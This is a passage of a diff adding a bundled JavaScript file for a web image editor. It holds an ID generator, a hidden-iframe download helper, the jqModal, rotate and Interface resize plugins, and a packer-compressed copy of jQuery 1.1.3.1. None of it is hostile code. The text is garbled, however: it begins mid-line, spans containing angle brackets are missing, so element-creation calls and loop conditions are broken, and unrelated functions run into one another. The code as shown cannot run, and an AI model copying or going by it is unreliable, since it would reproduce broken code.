32; + var chars = "0123456789abcdefghijklmnopqurstuvwxyzABCDEFGHIJKLMNOPQURSTUVWXYZ"; + var id = ''; + for(var i = 0; i <= idLength; i++) + { + id += chars.substr( Math.floor(Math.random() * 62), 1 ); + } + + return (id ); + +}; + +/** +* generate a hidden iframe and force to download the specified file +*/ +function generateDownloadIframe(url) +{ + var frameId = 'ajaxDownloadIframe'; + $('#' + frameId).remove(); + if(window.ActiveXObject) { + var io = document.createElement('').css({opacity:0}),e=function(h){if(ie6)if(h.o)h.o.html('

').prepend(i);else if(!$('iframe.jqm',h.w)[0])h.w.prepend(i);f(h)},f=function(h){h.f=$(':input:visible:first',h.w)[0];if(h.f)h.f.focus()},F=function(t){$()[t]("keypress",m)[t]("keydown",m)[t]("mousedown",m)},m=function(e){var h=H[A[A.length-1]],r=(!$(e.target).parents('.jqmID'+h.s)[0]);if(r)f(h);return!r},hs=function(w,e,y){var s=[];w.each(function(){s.push(this._jqm)});$(e).each(function(){if(this[y])$.extend(this[y],s);else{this[y]=s;$(this).click(function(){for(var i in{jqmShow:1,jqmHide:1})for(var s in this[i])if(H[this[i][s]])H[this[i][s]].w[i](this);return false})}})}})(jQuery);*/ + + + +(function($){$.fn.jqm=function(o){var p={overlay:50,overlayClass:'jqmOverlay',closeClass:'jqmClose',trigger:'.jqModal',ajax:F,ajaxText:'',target:F,modal:F,toTop:F,onShow:F,onHide:F,onLoad:F};return this.each(function(){if(this._jqm)return H[this._jqm].c=$.extend({},H[this._jqm].c,o);s++;this._jqm=s;H[s]={c:$.extend(p,$.jqm.params,o),a:F,w:$(this).addClass('jqmID'+s),s:s};if(p.trigger)$(this).jqmAddTrigger(p.trigger)})};$.fn.jqmAddClose=function(e){return hs(this,e,'jqmHide')};$.fn.jqmAddTrigger=function(e){return hs(this,e,'jqmShow')};$.fn.jqmShow=function(t){return this.each(function(){$.jqm.open(this._jqm,t)})};$.fn.jqmHide=function(t){return this.each(function(){$.jqm.close(this._jqm,t)})};$.jqm={hash:{},open:function(s,t){var h=H[s],c=h.c,cc='.'+c.closeClass,z=(parseInt(h.w.css('z-index'))),z=(z>0)?z:3000,o=$('

').css({height:'100%',width:'100%',position:'fixed',left:0,top:0,'z-index':z-1,opacity:c.overlay/100});if(h.a)return F;h.t=t;h.a=true;h.w.css('z-index',z);if(c.modal){if(!A[0])L('bind');A.push(s)}else if(c.overlay>0)h.w.jqmAddClose(o);else o=F;h.o=(o)?o.addClass(c.overlayClass).prependTo('body'):F;if(ie6){$('html,body').css({height:'100%',width:'100%'});if(o){o=o.css({position:'absolute'})[0];for(var y in{Top:1,Left:1})o.style.setExpression(y.toLowerCase(),"(_=(document.documentElement.scroll"+y+" || document.body.scroll"+y+"))+'px'")}}if(c.ajax){var r=c.target||h.w,u=c.ajax,r=(typeof r=='string')?$(r,h.w):$(r),u=(u.substr(0,1)=='@')?$(t).attr(u.substring(1)):u;r.html(c.ajaxText).load(u,function(){if(c.onLoad)c.onLoad.call(this,h);if(cc)h.w.jqmAddClose($(cc,h.w));e(h)})}else if(cc)h.w.jqmAddClose($(cc,h.w));if(c.toTop&&h.o)h.w.before('').insertAfter(h.o);(c.onShow)?c.onShow(h):h.w.show();e(h);return F},close:function(s){var h=H[s];if(!h.a)return F;h.a=F;if(A[0]){A.pop();if(!A[0])L('unbind')}if(h.c.toTop&&h.o)$('#jqmP'+h.w[0]._jqm).after(h.w).remove();if(h.c.onHide)h.c.onHide(h);else{h.w.hide();if(h.o)h.o.remove()}return F},params:{}};var s=0,H=$.jqm.hash,A=[],ie6=$.browser.msie&&($.browser.version=="6.0"),F=false,i=$('').css({opacity:0}),e=function(h){if(ie6)if(h.o)h.o.html('

').prepend(i);else if(!$('iframe.jqm',h.w)[0])h.w.prepend(i);f(h)},f=function(h){try{$(':input:visible',h.w)[0].focus()}catch(_){}},L=function(t){$()[t]("keypress",m)[t]("keydown",m)[t]("mousedown",m)},m=function(e){var h=H[A[A.length-1]],r=(!$(e.target).parents('.jqmID'+h.s)[0]);if(r)f(h);return!r},hs=function(w,t,c){return w.each(function(){var s=this._jqm;$(t).each(function(){if(!this[c]){this[c]=[];$(this).click(function(){for(var i in{jqmShow:1,jqmHide:1})for(var s in this[i])if(H[this[i][s]])H[this[i][s]].w[i](this);return F})}this[c].push(s)})})}})(jQuery); +//jqModal.js end + +//rotate.js start +jQuery.fn.rotate=function(a,b){var p=this.get(0);if(!b){p.angle=((p.angle==undefined?0:p.angle)+a)%360}else{p.angle=a}if(p.angle>=0){var c=Math.PI*p.angle/180}else{var c=Math.PI*(360+p.angle)/180}var d=Math.cos(c);var e=Math.sin(c);if(document.all&&!window.opera){var f=document.createElement('img');f.src=p.src;f.height=p.height;f.width=p.width;f.style.filter="progid:DXImageTransform.Microsoft.Matrix(M11="+d+",M12="+(-e)+",M21="+e+",M22="+d+",SizingMethod='auto expand')"}else{var f=document.createElement('canvas');if(!p.oImage){f.oImage=new Image();f.oImage.src=p.src;f.oImage.width=p.width;f.oImage.height=p.height}else{f.oImage=p.oImage}f.style.width=f.width=Math.abs(d*f.oImage.width)+Math.abs(e*f.oImage.height);f.style.height=f.height=Math.abs(d*f.oImage.height)+Math.abs(e*f.oImage.width);var g=f.getContext('2d');g.save();if(c<=Math.PI/2){g.translate(e*f.oImage.height,0)}else if(c<=Math.PI){g.translate(f.width,-d*f.oImage.height)}else if(c<=1.5*Math.PI){g.translate(-d*f.oImage.width,f.height)}else{g.translate(0,-e*f.oImage.width)}g.rotate(c);g.drawImage(f.oImage,0,0,f.oImage.width,f.oImage.height);g.restore()}f.id=p.id;f.angle=p.angle;p.parentNode.replaceChild(f,p)};jQuery.fn.rotateRight=function(a){this.rotate(a==undefined?90:a)};jQuery.fn.rotateLeft=function(a){this.rotate(a==undefined?-90:-a)}; +//rotate.js end +//interface.js start +jQuery.iUtil={getPosition:function(e){var x=0;var y=0;var a=e.style;var b=false;if(jQuery(e).css('display')=='none'){var c=a.visibility;var d=a.position;b=true;a.visibility='hidden';a.display='block';a.position='absolute'}var f=e;while(f){x+=f.offsetLeft+(f.currentStyle&&!jQuery.browser.opera?parseInt(f.currentStyle.borderLeftWidth)||0:0);y+=f.offsetTop+(f.currentStyle&&!jQuery.browser.opera?parseInt(f.currentStyle.borderTopWidth)||0:0);f=f.offsetParent}f=e;while(f&&f.tagName&&f.tagName.toLowerCase()!='body'){x-=f.scrollLeft||0;y-=f.scrollTop||0;f=f.parentNode}if(b==true){a.display='none';a.position=d;a.visibility=c}return{x:x,y:y}},getPositionLite:function(a){var x=0,y=0;while(a){x+=a.offsetLeft||0;y+=a.offsetTop||0;a=a.offsetParent}return{x:x,y:y}},getSize:function(e){var w=jQuery.css(e,'width');var h=jQuery.css(e,'height');var a=0;var b=0;var c=e.style;if(jQuery(e).css('display')!='none'){a=e.offsetWidth;b=e.offsetHeight}else{var d=c.visibility;var f=c.position;c.visibility='hidden';c.display='block';c.position='absolute';a=e.offsetWidth;b=e.offsetHeight;c.display='none';c.position=f;c.visibility=d}return{w:w,h:h,wb:a,hb:b}},getSizeLite:function(a){return{wb:a.offsetWidth||0,hb:a.offsetHeight||0}},getClient:function(e){var h,w,de;if(e){w=e.clientWidth;h=e.clientHeight}else{de=document.documentElement;w=window.innerWidth||self.innerWidth||(de&&de.clientWidth)||document.body.clientWidth;h=window.innerHeight||self.innerHeight||(de&&de.clientHeight)||document.body.clientHeight}return{w:w,h:h}},getScroll:function(e){var t=0,l=0,w=0,h=0,iw=0,ih=0;if(e&&e.nodeName.toLowerCase()!='body'){t=e.scrollTop;l=e.scrollLeft;w=e.scrollWidth;h=e.scrollHeight;iw=0;ih=0}else{if(document.documentElement){t=document.documentElement.scrollTop;l=document.documentElement.scrollLeft;w=document.documentElement.scrollWidth;h=document.documentElement.scrollHeight}else if(document.body){t=document.body.scrollTop;l=document.body.scrollLeft;w=document.body.scrollWidth;h=document.body.scrollHeight}iw=self.innerWidth||document.documentElement.clientWidth||document.body.clientWidth||0;ih=self.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0}return{t:t,l:l,w:w,h:h,iw:iw,ih:ih}},getMargins:function(e,a){var c=jQuery(e);var t=c.css('marginTop')||'';var r=c.css('marginRight')||'';var b=c.css('marginBottom')||'';var l=c.css('marginLeft')||'';if(a)return{t:parseInt(t)||0,r:parseInt(r)||0,b:parseInt(b)||0,l:parseInt(l)};else return{t:t,r:r,b:b,l:l}},getPadding:function(e,a){var c=jQuery(e);var t=c.css('paddingTop')||'';var r=c.css('paddingRight')||'';var b=c.css('paddingBottom')||'';var l=c.css('paddingLeft')||'';if(a)return{t:parseInt(t)||0,r:parseInt(r)||0,b:parseInt(b)||0,l:parseInt(l)};else return{t:t,r:r,b:b,l:l}},getBorder:function(e,a){var c=jQuery(e);var t=c.css('borderTopWidth')||'';var r=c.css('borderRightWidth')||'';var b=c.css('borderBottomWidth')||'';var l=c.css('borderLeftWidth')||'';if(a)return{t:parseInt(t)||0,r:parseInt(r)||0,b:parseInt(b)||0,l:parseInt(l)||0};else return{t:t,r:r,b:b,l:l}},getPointer:function(a){var x=a.pageX||(a.clientX+(document.documentElement.scrollLeft||document.body.scrollLeft))||0;var y=a.pageY||(a.clientY+(document.documentElement.scrollTop||document.body.scrollTop))||0;return{x:x,y:y}},traverseDOM:function(a,b){b(a);a=a.firstChild;while(a){jQuery.iUtil.traverseDOM(a,b);a=a.nextSibling}},purgeEvents:function(c){jQuery.iUtil.traverseDOM(c,function(a){for(var b in a){if(typeof a[b]==='function'){a[b]=null}}})},centerEl:function(a,b){var c=jQuery.iUtil.getScroll();var d=jQuery.iUtil.getSize(a);if(!b||b=='vertically')jQuery(a).css({top:c.t+((Math.max(c.h,c.ih)-c.t-d.hb)/2)+'px'});if(!b||b=='horizontally')jQuery(a).css({left:c.l+((Math.max(c.w,c.iw)-c.l-d.wb)/2)+'px'})},fixPNG:function(a,b){var c=jQuery('img[@src*="png"]',a||document),png;c.each(function(){png=this.src;this.src=b;this.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+png+"')"})}};[].indexOf||(Array.prototype.indexOf=function(v,n){n=(n==null)?0:n;var m=this.length;for(var i=n;i0&&c>0){e=(Math.round(c/b*10000)/10000)}else{e=null}}}});return e},ResizeConstraint:function(d){var e;this.each(function(){var a=this;if(typeof(d)!='boolean'||!d){a.resizeOptions.ratio=null}else{var b=parseInt(jQuery(a).css('width'))||0;var c=parseInt(jQuery(a).css('height'))||0;if(b>0&&c>0){a.resizeOptions.ratio=(Math.round(c/b*10000)/10000)}else{a.resizeOptions.ratio=null}}})},move:function(e){if(jQuery.iResize.resizeElement==null){return}pointer=jQuery.iUtil.getPointer(e);dx=pointer.x-jQuery.iResize.pointer.x;dy=pointer.y-jQuery.iResize.pointer.y;newSizes={width:jQuery.iResize.sizes.width,height:jQuery.iResize.sizes.height};newPosition={top:jQuery.iResize.position.top,left:jQuery.iResize.position.left};switch(jQuery.iResize.resizeDirection){case'e':newSizes.width=jQuery.iResize.getWidth(dx,1);break;case'se':newSizes.width=jQuery.iResize.getWidth(dx,1);newSizes.height=jQuery.iResize.getHeight(dy,1);break;case'w':newSizes.width=jQuery.iResize.getWidth(dx,-1);newPosition.left=jQuery.iResize.position.left-newSizes.width+jQuery.iResize.sizes.width;break;case'sw':newSizes.width=jQuery.iResize.getWidth(dx,-1);newPosition.left=jQuery.iResize.position.left-newSizes.width+jQuery.iResize.sizes.width;newSizes.height=jQuery.iResize.getHeight(dy,1);break;case'nw':newSizes.height=jQuery.iResize.getHeight(dy,-1);newPosition.top=jQuery.iResize.position.top-newSizes.height+jQuery.iResize.sizes.height;newSizes.width=jQuery.iResize.getWidth(dx,-1);newPosition.left=jQuery.iResize.position.left-newSizes.width+jQuery.iResize.sizes.width;break;case'n':newSizes.height=jQuery.iResize.getHeight(dy,-1);newPosition.top=jQuery.iResize.position.top-newSizes.height+jQuery.iResize.sizes.height;break;case'ne':newSizes.height=jQuery.iResize.getHeight(dy,-1);newPosition.top=jQuery.iResize.position.top-newSizes.height+jQuery.iResize.sizes.height;newSizes.width=jQuery.iResize.getWidth(dx,1);break;case's':newSizes.height=jQuery.iResize.getHeight(dy,1);break}if(jQuery.iResize.resizeElement.resizeOptions.ratio){if(jQuery.iResize.resizeDirection=='n'||jQuery.iResize.resizeDirection=='s')nWidth=newSizes.height*jQuery.iResize.resizeElement.resizeOptions.ratio;else nWidth=newSizes.width;nHeight=jQuery.iResize.getHeightMinMax(nWidth*jQuery.iResize.resizeElement.resizeOptions.ratio);nWidth=nHeight/jQuery.iResize.resizeElement.resizeOptions.ratio;switch(jQuery.iResize.resizeDirection){case'n':case'nw':case'ne':newPosition.top+=newSizes.height-nHeight;break}switch(jQuery.iResize.resizeDirection){case'nw':case'w':case'sw':newPosition.left+=newSizes.width-nWidth;break}newSizes.height=nHeight;newSizes.width=nWidth}if(newPosition.topjQuery.iResize.resizeElement.resizeOptions.maxBottom){newSizes.height=jQuery.iResize.resizeElement.resizeOptions.maxBottom-newPosition.top;if(jQuery.iResize.resizeElement.resizeOptions.ratio){newSizes.width=newSizes.height/jQuery.iResize.resizeElement.resizeOptions.ratio}}if(newPosition.left+newSizes.width>jQuery.iResize.resizeElement.resizeOptions.maxRight){newSizes.width=jQuery.iResize.resizeElement.resizeOptions.maxRight-newPosition.left;if(jQuery.iResize.resizeElement.resizeOptions.ratio){newSizes.height=newSizes.width*jQuery.iResize.resizeElement.resizeOptions.ratio}}var a=false;if(jQuery.iResize.resizeElement.resizeOptions.onResize){a=jQuery.iResize.resizeElement.resizeOptions.onResize.apply(jQuery.iResize.resizeElement,[newSizes,newPosition]);if(a){if(a.sizes){jQuery.extend(newSizes,a.sizes)}if(a.position){jQuery.extend(newPosition,a.position)}}}elS=jQuery.iResize.resizeElement.style;elS.left=newPosition.left+'px';elS.top=newPosition.top+'px';elS.width=newSizes.width+'px';elS.height=newSizes.height+'px';return false},build:function(b){if(!b||!b.handlers||b.handlers.constructor!=Object){return}return this.each(function(){var a=this;a.resizeOptions=b;a.resizeOptions.minWidth=b.minWidth||10;a.resizeOptions.minHeight=b.minHeight||10;a.resizeOptions.maxWidth=b.maxWidth||3000;a.resizeOptions.maxHeight=b.maxHeight||3000;a.resizeOptions.minTop=b.minTop||-1000;a.resizeOptions.minLeft=b.minLeft||-1000;a.resizeOptions.maxRight=b.maxRight||3000;a.resizeOptions.maxBottom=b.maxBottom||3000;elPosition=jQuery(a).css('position');if(!(elPosition=='relative'||elPosition=='absolute')){a.style.position='relative'}directions=/n|ne|e|se|s|sw|w|nw/g;for(i in a.resizeOptions.handlers){if(i.toLowerCase().match(directions)!=null){if(a.resizeOptions.handlers[i].constructor==String){handle=jQuery(a.resizeOptions.handlers[i]);if(handle.size()>0){a.resizeOptions.handlers[i]=handle.get(0)}}if(a.resizeOptions.handlers[i].tagName){a.resizeOptions.handlers[i].resizeElement=a;a.resizeOptions.handlers[i].resizeDirection=i;jQuery(a.resizeOptions.handlers[i]).bind('mousedown',jQuery.iResize.start)}}}if(a.resizeOptions.dragHandle){if(typeof a.resizeOptions.dragHandle==='string'){handleEl=jQuery(a.resizeOptions.dragHandle);if(handleEl.size()>0){handleEl.each(function(){this.dragEl=a});handleEl.bind('mousedown',jQuery.iResize.startDrag)}}else if(a.resizeOptions.dragHandle==true){jQuery(this).bind('mousedown',jQuery.iResize.startDrag)}}})},destroy:function(){return this.each(function(){var a=this;for(i in a.resizeOptions.handlers){a.resizeOptions.handlers[i].resizeElement=null;a.resizeOptions.handlers[i].resizeDirection=null;jQuery(a.resizeOptions.handlers[i]).unbind('mousedown',jQuery.iResize.start)}if(a.resizeOptions.dragHandle){if(typeof a.resizeOptions.dragHandle==='string'){handle=jQuery(a.resizeOptions.dragHandle);if(handle.size()>0){handle.unbind('mousedown',jQuery.iResize.startDrag)}}else if(a.resizeOptions.dragHandle==true){jQuery(this).unbind('mousedown',jQuery.iResize.startDrag)}}a.resizeOptions=null})}};jQuery.fn.extend({Resizable:jQuery.iResize.build,ResizableRatio:jQuery.iResize.ResizeRatio,ResizeConstraint:jQuery.iResize.ResizeConstraint,ResizableDestroy:jQuery.iResize.destroy}); +//interface.js end +//image_editor_general.js start +/*function getModeValue(){var CheckedElem=null;for(var i=0;i35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7(1g 18.6=="I"){18.I=18.I;u 6=q(a,c){7(18==9||!9.3X)v 14 6(a,c);v 9.3X(a,c)};7(1g $!="I")6.1I$=$;u $=6;6.11=6.8r={3X:q(a,c){a=a||P;7(6.16(a))v 14 6(P)[6.11.1G?"1G":"1W"](a);7(1g a=="1s"){u m=/^[^<]*(<(.|\\s)+>)[^>]*$/.1V(a);7(m)a=6.31([m[1]]);B v 14 6(c).1L(a)}v 9.4E(a.15==2b&&a||(a.3C||a.C&&a!=18&&!a.1q&&a[0]!=I&&a[0].1q)&&6.2L(a)||[a])},3C:"1.1.3.1",7W:q(){v 9.C},C:0,1M:q(a){v a==I?6.2L(9):9[a]},1Z:q(a){u b=6(a);b.5q=9;v b},4E:q(a){9.C=0;[].R.O(9,a);v 9},F:q(a,b){v 6.F(9,a,b)},2p:q(a){u b=-1;9.F(q(i){7(9==a)b=i});v b},1b:q(f,d,e){u c=f;7(f.15==33)7(d==I)v 9.C&&6[e||"1b"](9[0],f)||I;B{c={};c[f]=d}v 9.F(q(a){E(u b V c)6.1b(e?9.T:9,b,6.4H(9,c[b],e,a,b))})},1f:q(b,a){v 9.1b(b,a,"2z")},2A:q(e){7(1g e=="1s")v 9.2Y().3e(P.66(e));u t="";6.F(e||9,q(){6.F(9.2S,q(){7(9.1q!=8)t+=9.1q!=1?9.5R:6.11.2A([9])})});v t},8b:q(){u a,1S=19;v 9.F(q(){7(!a)a=6.31(1S,9.2O);u b=a[0].3s(K);9.L.2K(b,9);1v(b.1d)b=b.1d;b.4g(9)})},3e:q(){v 9.2F(19,K,1,q(a){9.4g(a)})},5w:q(){v 9.2F(19,K,-1,q(a){9.2K(a,9.1d)})},5t:q(){v 9.2F(19,N,1,q(a){9.L.2K(a,9)})},5s:q(){v 9.2F(19,N,-1,q(a){9.L.2K(a,9.1X)})},2U:q(){v 9.5q||6([])},1L:q(t){u b=6.3k(9,q(a){v 6.1L(t,a)});v 9.1Z(/[^+>] [^+>]/.17(t)||t.J("..")>-1?6.5g(b):b)},7x:q(e){u d=9.1A(9.1L("*"));d.F(q(){9.1I$1a={};E(u a V 9.$1a)9.1I$1a[a]=6.1c({},9.$1a[a])}).3U();u r=9.1Z(6.3k(9,q(a){v a.3s(e!=I?e:K)}));d.F(q(){u b=9.1I$1a;E(u a V b)E(u c V b[a])6.S.1A(9,a,b[a][c],b[a][c].W);9.1I$1a=H});v r},1i:q(t){v 9.1Z(6.16(t)&&6.2s(9,q(b,a){v t.O(b,[a])})||6.2x(t,9))},4Y:q(t){v 9.1Z(t.15==33&&6.2x(t,9,K)||6.2s(9,q(a){v(t.15==2b||t.3C)?6.2w(a,t)<0:a!=t}))},1A:q(t){v 9.1Z(6.1T(9.1M(),t.15==33?6(t).1M():t.C!=I&&(!t.Q||t.Q=="6Z")?t:[t]))},37:q(a){v a?6.2x(a,9).C>0:N},6R:q(a){v a==I?(9.C?9[0].2v:H):9.1b("2v",a)},3F:q(a){v a==I?(9.C?9[0].27:H):9.2Y().3e(a)},2F:q(f,d,g,e){u c=9.C>1,a;v 9.F(q(){7(!a){a=6.31(f,9.2O);7(g<0)a.6E()}u b=9;7(d&&6.Q(9,"1r")&&6.Q(a[0],"2V"))b=9.3R("1z")[0]||9.4g(P.5h("1z"));6.F(a,q(){e.O(b,[c?9.3s(K):9])})})}};6.1c=6.11.1c=q(){u c=19[0],a=1;7(19.C==1){c=9;a=0}u b;1v((b=19[a++])!=H)E(u i V b)c[i]=b[i];v c};6.1c({6n:q(){7(6.1I$)$=6.1I$;v 6},16:q(a){v!!a&&1g a!="1s"&&!a.Q&&a.15!=2b&&/q/i.17(a+"")},40:q(a){v a.4z&&a.2O&&!a.2O.4y},Q:q(b,a){v b.Q&&b.Q.1D()==a.1D()},F:q(a,b,c){7(a.C==I)E(u i V a)b.O(a[i],c||[i,a[i]]);B E(u i=0,4x=a.C;i<4x;i++)7(b.O(a[i],c||[i,a[i]])===N)1F;v a},4H:q(c,b,d,e,a){7(6.16(b))b=b.3D(c,[e]);u f=/z-?2p|5Y-?8p|1e|5U|8i-?1u/i;v b&&b.15==3y&&d=="2z"&&!f.17(a)?b+"4o":b},12:{1A:q(b,c){6.F(c.2R(/\\s+/),q(i,a){7(!6.12.3w(b.12,a))b.12+=(b.12?" ":"")+a})},1E:q(b,c){b.12=c!=I?6.2s(b.12.2R(/\\s+/),q(a){v!6.12.3w(c,a)}).5M(" "):""},3w:q(t,c){v 6.2w(c,(t.12||t).3v().2R(/\\s+/))>-1}},4m:q(e,o,f){E(u i V o){e.T["2N"+i]=e.T[i];e.T[i]=o[i]}f.O(e,[]);E(u i V o)e.T[i]=e.T["2N"+i]},1f:q(e,p){7(p=="1u"||p=="29"){u b={},3r,3p,d=["83","81","80","7Y"];6.F(d,q(){b["7V"+9]=0;b["7T"+9+"7S"]=0});6.4m(e,b,q(){7(6(e).37(\':4f\')){3r=e.7Q;3p=e.7O}B{e=6(e.3s(K)).1L(":4b").5v("2B").2U().1f({48:"1y",3i:"7L",U:"2h",7K:"0",7I:"0"}).5o(e.L)[0];u a=6.1f(e.L,"3i")||"3n";7(a=="3n")e.L.T.3i="7G";3r=e.7E;3p=e.7D;7(a=="3n")e.L.T.3i="3n";e.L.3q(e)}});v p=="1u"?3r:3p}v 6.2z(e,p)},2z:q(e,a,d){u g;7(a=="1e"&&6.M.1h){g=6.1b(e.T,"1e");v g==""?"1":g}7(a.3t(/3x/i))a=6.1U;7(!d&&e.T[a])g=e.T[a];B 7(P.3f&&P.3f.3Y){7(a.3t(/3x/i))a="3x";a=a.1o(/([A-Z])/g,"-$1").2H();u b=P.3f.3Y(e,H);7(b)g=b.57(a);B 7(a=="U")g="1P";B 6.4m(e,{U:"2h"},q(){u c=P.3f.3Y(9,"");g=c&&c.57(a)||""})}B 7(e.3S){u f=a.1o(/\\-(\\w)/g,q(m,c){v c.1D()});g=e.3S[a]||e.3S[f]}v g},31:q(a,c){u r=[];c=c||P;6.F(a,q(i,b){7(!b)v;7(b.15==3y)b=b.3v();7(1g b=="1s"){u s=6.2C(b).2H(),1x=c.5h("1x"),1N=[];u a=!s.J("<1H")&&[1,"<2y>",""]||!s.J("<7g")&&[1,"<52>",""]||(!s.J("<7c")||!s.J("<1z")||!s.J("<7a")||!s.J("<78"))&&[1,"<1r>",""]||!s.J("<2V")&&[2,"<1r><1z>",""]||(!s.J("<75")||!s.J("<74"))&&[3,"<1r><1z><2V>",""]||!s.J("<73")&&[2,"<1r><4W>",""]||[0,"",""];1x.27=a[1]+b+a[2];1v(a[0]--)1x=1x.1d;7(6.M.1h){7(!s.J("<1r")&&s.J("<1z")<0)1N=1x.1d&&1x.1d.2S;B 7(a[1]=="<1r>"&&s.J("<1z")<0)1N=1x.2S;E(u n=1N.C-1;n>=0;--n)7(6.Q(1N[n],"1z")&&!1N[n].2S.C)1N[n].L.3q(1N[n])}b=6.2L(1x.2S)}7(0===b.C&&(!6.Q(b,"34")&&!6.Q(b,"2y")))v;7(b[0]==I||6.Q(b,"34")||b.71)r.R(b);B r=6.1T(r,b)});v r},1b:q(c,d,a){u e=6.40(c)?{}:6.3H;7(e[d]){7(a!=I)c[e[d]]=a;v c[e[d]]}B 7(a==I&&6.M.1h&&6.Q(c,"34")&&(d=="70"||d=="6Y"))v c.6W(d).5R;B 7(c.4z){7(a!=I)c.6U(d,a);7(6.M.1h&&/4M|2u/.17(d)&&!6.40(c))v c.35(d,2);v c.35(d)}B{7(d=="1e"&&6.M.1h){7(a!=I){c.5U=1;c.1i=(c.1i||"").1o(/4L\\([^)]*\\)/,"")+(39(a).3v()=="6M"?"":"4L(1e="+a*4X+")")}v c.1i?(39(c.1i.3t(/1e=([^)]*)/)[1])/4X).3v():""}d=d.1o(/-([a-z])/6K,q(z,b){v b.1D()});7(a!=I)c[d]=a;v c[d]}},2C:q(t){v t.1o(/^\\s+|\\s+$/g,"")},2L:q(a){u r=[];7(1g a!="6I")E(u i=0,26=a.C;i<26;i++)r.R(a[i]);B r=a.51(0);v r},2w:q(b,a){E(u i=0,26=a.C;i<26;i++)7(a[i]==b)v i;v-1},1T:q(a,b){E(u i=0;b[i];i++)a.R(b[i]);v a},5g:q(a){u r=[],3P=6.1k++;E(u i=0,4G=a.C;i<4G;i++)7(3P!=a[i].1k){a[i].1k=3P;r.R(a[i])}v r},1k:0,2s:q(c,b,d){7(1g b=="1s")b=14 45("a","i","v "+b);u a=[];E(u i=0,30=c.C;i<30;i++)7(!d&&b(c[i],i)||d&&!b(c[i],i))a.R(c[i]);v a},3k:q(c,b){7(1g b=="1s")b=14 45("a","v "+b);u d=[];E(u i=0,30=c.C;i<30;i++){u a=b(c[i],i);7(a!==H&&a!=I){7(a.15!=2b)a=[a];d=d.6v(a)}}v d}});14 q(){u b=6u.6t.2H();6.M={4D:(b.3t(/.+(?:6s|6q|6o|6m)[\\/: ]([\\d.]+)/)||[])[1],20:/5l/.17(b),2a:/2a/.17(b),1h:/1h/.17(b)&&!/2a/.17(b),3j:/3j/.17(b)&&!/(6h|5l)/.17(b)};6.6g=!6.M.1h||P.6f=="6c";6.1U=6.M.1h?"1U":"5x",6.3H={"E":"68","67":"12","3x":6.1U,5x:6.1U,1U:6.1U,27:"27",12:"12",2v:"2v",2r:"2r",2B:"2B",65:"63",2T:"2T",62:"5Z"}};6.F({4v:"a.L",4p:"6.4p(a)",8o:"6.22(a,2,\'1X\')",8n:"6.22(a,2,\'4t\')",8k:"6.4q(a.L.1d,a)",8h:"6.4q(a.1d)"},q(i,n){6.11[i]=q(a){u b=6.3k(9,n);7(a&&1g a=="1s")b=6.2x(a,b);v 9.1Z(b)}});6.F({5o:"3e",8g:"5w",2K:"5t",8f:"5s"},q(i,n){6.11[i]=q(){u a=19;v 9.F(q(){E(u j=0,26=a.C;j<26;j++)6(a[j])[n](9)})}});6.F({5v:q(a){6.1b(9,a,"");9.8d(a)},8c:q(c){6.12.1A(9,c)},88:q(c){6.12.1E(9,c)},87:q(c){6.12[6.12.3w(9,c)?"1E":"1A"](9,c)},1E:q(a){7(!a||6.1i(a,[9]).r.C)9.L.3q(9)},2Y:q(){1v(9.1d)9.3q(9.1d)}},q(i,n){6.11[i]=q(){v 9.F(n,19)}});6.F(["5Q","5P","5O","5N"],q(i,n){6.11[n]=q(a,b){v 9.1i(":"+n+"("+a+")",b)}});6.F(["1u","29"],q(i,n){6.11[n]=q(h){v h==I?(9.C?6.1f(9[0],n):H):9.1f(n,h.15==33?h:h+"4o")}});6.1c({4n:{"":"m[2]==\'*\'||6.Q(a,m[2])","#":"a.35(\'2m\')==m[2]",":":{5P:"im[3]-0",22:"m[3]-0==i",5Q:"m[3]-0==i",2Q:"i==0",2P:"i==r.C-1",5L:"i%2==0",5K:"i%2","2Q-3u":"a.L.3R(\'*\')[0]==a","2P-3u":"6.22(a.L.5J,1,\'4t\')==a","86-3u":"!6.22(a.L.5J,2,\'4t\')",4v:"a.1d",2Y:"!a.1d",5N:"(a.5H||a.85||\'\').J(m[3])>=0",4f:\'"1y"!=a.G&&6.1f(a,"U")!="1P"&&6.1f(a,"48")!="1y"\',1y:\'"1y"==a.G||6.1f(a,"U")=="1P"||6.1f(a,"48")=="1y"\',84:"!a.2r",2r:"a.2r",2B:"a.2B",2T:"a.2T||6.1b(a,\'2T\')",2A:"\'2A\'==a.G",4b:"\'4b\'==a.G",5F:"\'5F\'==a.G",4l:"\'4l\'==a.G",5E:"\'5E\'==a.G",4k:"\'4k\'==a.G",5D:"\'5D\'==a.G",5C:"\'5C\'==a.G",1J:\'"1J"==a.G||6.Q(a,"1J")\',5B:"/5B|2y|82|1J/i.17(a.Q)"},"[":"6.1L(m[2],a).C"},5A:[/^\\[ *(@)([\\w-]+) *([!*$^~=]*) *(\'?"?)(.*?)\\4 *\\]/,/^(\\[)\\s*(.*?(\\[.*?\\])?[^[]*?)\\s*\\]/,/^(:)([\\w-]+)\\("?\'?(.*?(\\(.*?\\))?[^(]*?)"?\'?\\)/,14 3o("^([:.#]*)("+(6.2J=6.M.20&&6.M.4D<"3.0.0"?"\\\\w":"(?:[\\\\w\\7Z-\\7X*1I-]|\\\\\\\\.)")+"+)")],2x:q(a,c,b){u d,1K=[];1v(a&&a!=d){d=a;u f=6.1i(a,c,b);a=f.t.1o(/^\\s*,\\s*/,"");1K=b?c=f.r:6.1T(1K,f.r)}v 1K},1L:q(t,l){7(1g t!="1s")v[t];7(l&&!l.1q)l=H;l=l||P;7(!t.J("//")){l=l.4h;t=t.2G(2,t.C)}B 7(!t.J("/")&&!l.2O){l=l.4h;t=t.2G(1,t.C);7(t.J("/")>=1)t=t.2G(t.J("/"),t.C)}u b=[l],2j=[],2P;1v(t&&2P!=t){u r=[];2P=t;t=6.2C(t).1o(/^\\/\\//,"");u k=N;u g=14 3o("^[/>]\\\\s*("+6.2J+"+)");u m=g.1V(t);7(m){u o=m[1].1D();E(u i=0;b[i];i++)E(u c=b[i].1d;c;c=c.1X)7(c.1q==1&&(o=="*"||c.Q.1D()==o.1D()))r.R(c);b=r;t=t.1o(g,"");7(t.J(" 